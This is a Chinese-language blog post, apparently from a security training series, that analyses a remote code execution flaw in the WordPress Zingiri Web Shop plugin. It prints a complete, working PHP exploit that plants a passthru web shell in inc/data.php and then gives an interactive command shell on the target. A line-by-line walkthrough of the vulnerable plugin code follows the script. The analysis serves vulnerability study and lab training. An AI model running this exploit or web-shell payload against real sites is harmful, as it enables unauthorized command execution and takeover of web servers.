Metasploit訓練營中，Zingiri Web Shop插件漏洞分析

Wordpress Zingiri Plugin <= 2.2.3(ajax_save_name.php) Remote Code Excution 如下：

<?php
error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout",5);
$fileman = "wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager";
function http_send($host, $packet)
{
	if(!($sock = fsockopen($host,80)))
		die("\n[-] No response from {$host}:80\n");
	fwrite($sock,$packet);
	return stream_get_contents($sock);
}

function get_root_dir()
{
	global $host, $path, $fileman;
	$packet = "GET {$path}{$fileman}/ajaxfilemanager.php HTTP/1.0\r\n";
	$packet .= "Host: {$host}\r\n";
	$packet .= "Connection: close\r\n\r\n";
	if(!preg_match('/currentFolderPath" value="([^"]*)"/', http_send($host, $packet), $m)) die("\n [-] Root folder path not found!\n");
	return $m[1];
}

function random_mkdir()
{
	global $host, $path, $fileman, $rootdir;
	$dirname = uniqid();
	$payload = "new_folder={$dirname}&currentFolderPath={$rootdir}";
	$packet = "POST {$path}{$fileman}/ajax_create_folder.php HTTP/1.0\r\n";
	$packet .= "Host :{$host}\r\n";
	$packet .= "Content-Length: ".strlen($payload)."\r\n";
	$packet .= "Content-type: application/x-www-form-urlencoded\r\n";
	$packet .= "Connection: close\r\n\r\n{$payload}";
	http_send($host, $packet);
	return $dirname;
}

print "\n+------------------------------------------------------------------------------+";
print "\n| Wodpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit|";
print "\n+------------------------------------------------------------------------------+";

if($argc < 3)
{
	print "\nUsage......: php $argv[0] <host> <path>\n";
	print "\nExample....: php $argv[0] localhost /";
	print "\nExample....: php $argv[0] localhost /wordpress/\n";
	die();
}

$host = $argv[1];
$path = $argv[2];
$rootdir = get_root_dir();
$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$payload = "selectedDoc[]={$phpcode}&currentFolderPath={$rootdir}";
$packet = "POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if(!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid))
	die("\n[-] Session ID not found!\n");
$dirname = random_mkdir();
$newname = uniqid();

$payload = "value={$newname}&id={$rootdir}{$dirname}";
$packet = "POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
http_send($host, $packet); 

$packet = "GET {$path}{$fileman}/inc/data.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cmd: %s\r\n";
$packet .= "Connection: close\r\n\r\n";

while(1)
{
	print "\nzingiri-shell# ";
	if (($cmd = trim(fgets(STDIN))) == "exit") break;
	preg_match("/_code_(.*)/s", http_send($host, sprintf($packet,base64_encode($cmd))), $m) ? print $m[1] : die("\n[-] Exploit failed!\n");
}
?>

執行相關命令結果如下：

關於在 Linux 命令行中使用和執行 PHP代碼，參考：https://linux.cn/article-5906-1.html

相關代碼分析：

http_send()函數，顧名思義，用於發送http消息：

其中fsockopen函數用於打開一個網絡連接或者一個Unix套接字連接，返回一個文件句柄，之後可以被其他文件類函數調用（例如：fgets()，fgetss()，fwrite()，fclose()還有feof()）。

在http_send函數中，即調用fwrite()將packet寫入。

最後返回http響應。

get_root_dir()函數，獲取上傳文件所在的根目錄，後面用於存儲上傳的文件：

在ajaxfilemanager.php中，有如下代碼：

<input type="hidden" name="currentFolderPath"  value="<?=$folderInfo['path']; ?>" />

當訪問ajaxfilemanager.php時，返回的代碼爲：

<input type="hidden" name="currentFolderPath"  value="/owaspbwa/owaspbwa-svn/var/www/wordpress/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/inc/../../../../../../../../../../uploads/zingiri-web-shop/" />

其中value值，即爲需要的值，通過正則表達式截取。

random_mkdir()函數，在get_root_dir()函數獲取的目錄下創建一個文件夾，返回該文件夾名。

接下來下一段代碼：

$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";
$payload = "selectedDoc[]={$phpcode}&currentFolderPath={$rootdir}";
$packet = "POST {$path}{$fileman}/ajax_file_cut.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
if(!preg_match("/Set-Cookie: ([^;]*);/", http_send($host, $packet), $sid))
	die("\n[-] Session ID not found!\n");

上述代碼段訪問的是ajax_file_cut.php，其中ajax_file_cut.php關鍵代碼：

if(!isset($_POST['selectedDoc']) || !is_array($_POST['selectedDoc']) || sizeof($_POST['selectedDoc']) < 1)
	{
		$error = ERR_NOT_DOC_SELECTED_FOR_CUT;
	}
	elseif(empty($_POST['currentFolderPath']) || !isUnderRoot($_POST['currentFolderPath']))
	{
		$error = ERR_FOLDER_PATH_NOT_ALLOWED;
	}else 
	{		
		require_once(CLASS_SESSION_ACTION);
		$sessionAction = new SessionAction();
		$sessionAction->setAction($_POST['action_value']);
		$sessionAction->setFolder($_POST['currentFolderPath']);
		$sessionAction->set($_POST['selectedDoc']);
		$info = ',num:' . sizeof($_POST['selectedDoc']);
	}
	echo "{error:'" . $error .  "'\n" . $info . "}";

對數組selectedDoc進行了判斷，並且$sessionAction->set($_POST['selectedDoc']);

後面在 ajax_save_name.php中會進行$sessionAction->get() 操作，取出當前POST的selectedDoc。

下一段代碼：

$payload = "value={$newname}&id={$rootdir}{$dirname}";
$packet = "POST {$path}{$fileman}/ajax_save_name.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$sid[1]}\r\n";
$packet .= "Content-Length: ".strlen($payload)."\r\n";
$packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
$packet .= "Connection: close\r\n\r\n{$payload}";
<pre name="code" class="php">http_send($host, $packet);

訪問了ajax_save_name.php，其中ajax_save_name.php關鍵代碼：

$sessionAction = new SessionAction();		
$selectedDocuments = $sessionAction->get();
if(removeTrailingSlash($sessionAction->getFolder()) == getParentPath($_POST['id']) && sizeof($selectedDocuments))
{
	if(($key = array_search(basename($_POST['id']), $selectedDocuments)) !== false)
	{
		$selectedDocuments[$key] = $_POST['value'];
		$sessionAction->set($selectedDocuments);	
	}
	echo basename($_POST['id']) . "\n";
	displayArray($selectedDocuments);
	}
        elseif(removeTrailingSlash($sessionAction->getFolder()) == removeTrailingSlash($_POST['id']))
	{
		$sessionAction->setFolder($_POST['id']);
	}
	writeInfo(ob_get_clean());
}

此處又對$selectedDoc進行了sizeof的判斷

最關鍵的是displayArray($selectedDocuments)和writeInfo(ob_get_clean())

displayArray()的實現：

function displayArray($array, $comments="")
{
	echo "<pre>";
	echo $comments;
	print_r($array);
	echo $comments;
	echo "</pre>";
}

ob_get_clean()函數，得到當前緩衝區的內容並刪除當前輸出緩衝區。
ob_get_clean() 實質上是一起執行了 ob_get_contents() 和 ob_end_clean()。

writeInfo()的實現：

function writeInfo($data, $die = false)
{
	$fp = @fopen(dirname(__FILE__) . DIRECTORY_SEPARATOR . 'data.php', 'w+');
	@fwrite($fp, $data);
	@fwrite($fp, "\n\n" . date('d/M/Y H:i:s') );
	@fclose($fp);
	if($die)
	{
	        die();
	}
		
}

實際上，是將

selectedDoc[]={$phpcode}

$phpcode = "<?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_CMD]));die; ?>";

寫入了/inc/data.php中，

最後只要在http頭中設置：base64_encode（將要遠程執行的代碼），並且發送給/inc/data.php即可。

在本次攻擊中，用於執行外部命令的函數是 passthru函數。

END

Metasploit訓練營中，Zingiri Web Shop插件漏洞分析

SQLi Labs Lesson28 & Lesson28a

SQLi Labs Lesson26 & Lesson26a

ch1:Crack小實驗

C1X 系列 : 多線程 (N1494)

Metasploit訓練營中，Zingiri Web Shop插件漏洞分析

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